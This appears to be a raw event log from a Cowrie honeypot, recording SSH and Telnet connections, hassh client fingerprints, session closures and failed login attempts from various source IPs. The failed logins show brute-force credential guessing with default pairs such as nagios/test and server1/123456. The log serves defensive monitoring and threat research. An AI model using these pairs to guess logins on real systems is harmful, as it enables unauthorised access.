{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:07.539982Z","src_ip":"103.228.69.212","session":"14dd8418d84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c07addda992","protocol":"telnet","message":"New connection: 198.50.122.223:50874 (10.17.0.5:23) [session: 4c07addda992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:07.733998Z"}
{"eventid":"cowrie.session.closed","duration":30.89592456817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:08.034587Z","src_ip":"198.50.122.223","session":"7913f1c809a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"test","message":"login attempt [nagios/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:08.486619Z","src_ip":"103.228.69.212","session":"14dd8418d84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.987616539001465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:09.396408Z","src_ip":"198.50.122.223","session":"b591418293f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:09.718238Z","src_ip":"103.228.69.212","session":"14dd8418d84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35400,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e7d94a2d54","protocol":"ssh","message":"New connection: 148.216.28.11:35400 (159.203.135.109:22) [session: 63e7d94a2d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.474689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.479595Z","src_ip":"148.216.28.11","session":"63e7d94a2d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.546865Z","src_ip":"148.216.28.11","session":"63e7d94a2d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.775285Z","src_ip":"122.168.114.167","session":"0e21d3bd0559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6ebfcaa4bb","protocol":"ssh","message":"New connection: 69.6.221.248:58322 (159.203.135.109:22) [session: 9e6ebfcaa4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.823178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.828436Z","src_ip":"69.6.221.248","session":"9e6ebfcaa4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass","message":"login attempt [test/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.856191Z","src_ip":"148.216.28.11","session":"63e7d94a2d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:10.941655Z","src_ip":"69.6.221.248","session":"9e6ebfcaa4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"123456","message":"login attempt [server1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:11.428785Z","src_ip":"69.6.221.248","session":"9e6ebfcaa4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:11.925190Z","src_ip":"148.216.28.11","session":"63e7d94a2d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:12.546031Z","src_ip":"69.6.221.248","session":"9e6ebfcaa4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.071832418441772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:13.265219Z","src_ip":"198.50.122.223","session":"d0d26a1b21de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.350410223007202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:14.412511Z","src_ip":"198.50.122.223","session":"f2daa68e5d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:15.645763Z","src_ip":"122.168.114.167","session":"0e21d3bd0559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.296539783477783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:18.557541Z","src_ip":"198.50.122.223","session":"086eb78a8dca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84115171432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:20.335687Z","src_ip":"198.50.122.223","session":"b597a2160e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52520,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cbe35250e16","protocol":"ssh","message":"New connection: 159.203.92.129:52520 (159.203.135.109:22) [session: 1cbe35250e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:21.950017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:21.953996Z","src_ip":"159.203.92.129","session":"1cbe35250e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:21.958094Z","src_ip":"159.203.92.129","session":"1cbe35250e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"api","password":"123456","message":"login attempt [api/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:21.968517Z","src_ip":"159.203.92.129","session":"1cbe35250e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":51864,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6bd6519adb","protocol":"ssh","message":"New connection: 2.203.183.35:51864 (159.203.135.109:22) [session: be6bd6519adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.085812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.094358Z","src_ip":"2.203.183.35","session":"be6bd6519adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.200178Z","src_ip":"2.203.183.35","session":"be6bd6519adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.387102842330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.297468Z","src_ip":"198.50.122.223","session":"40e9f743d41a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fctrserver","password":"fctrserver","message":"login attempt [fctrserver/fctrserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.710384Z","src_ip":"2.203.183.35","session":"be6bd6519adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:22.973747Z","src_ip":"159.203.92.129","session":"1cbe35250e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:23.820797Z","src_ip":"2.203.183.35","session":"be6bd6519adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06350803375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:28.267163Z","src_ip":"198.50.122.223","session":"9555afa39efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351378679275513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:30.276645Z","src_ip":"198.50.122.223","session":"99ff69190592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168334484100342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:30.380387Z","src_ip":"198.50.122.223","session":"68540bd619bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57926,"dst_ip":"159.203.135.109","dst_port":22,"session":"934c16c42851","protocol":"ssh","message":"New connection: 122.168.114.167:57926 (159.203.135.109:22) [session: 934c16c42851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:33.142620Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":31587,"dst_ip":"10.17.0.5","dst_port":22,"session":"269f7c7719cb","protocol":"ssh","message":"New connection: 182.253.79.194:31587 (10.17.0.5:22) [session: 269f7c7719cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:33.445445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:33.449273Z","src_ip":"182.253.79.194","session":"269f7c7719cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:33.705212Z","src_ip":"182.253.79.194","session":"269f7c7719cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp01","password":"ftp01","message":"login attempt [ftp01/ftp01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:34.765858Z","src_ip":"182.253.79.194","session":"269f7c7719cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:36.023957Z","src_ip":"182.253.79.194","session":"269f7c7719cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:36.607304Z","src_ip":"122.168.114.167","session":"934c16c42851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:36.615749Z","src_ip":"122.168.114.167","session":"934c16c42851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.415449142456055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:38.149332Z","src_ip":"198.50.122.223","session":"4c07addda992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145721435547,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:42.889252Z","src_ip":"45.65.130.151","session":"fd56aea09f55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185680389404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:48.131537Z","src_ip":"217.196.164.80","session":"b20722a21a7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.196.164.80","src_port":40008,"dst_ip":"10.17.0.5","dst_port":23,"session":"309fb4ca35b6","protocol":"telnet","message":"New connection: 217.196.164.80:40008 (10.17.0.5:23) [session: 309fb4ca35b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:48.708583Z"}
{"eventid":"cowrie.session.closed","duration":120.0016758441925,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:50.569427Z","src_ip":"217.196.164.80","session":"217c83dff621","protocol":"telnet"}
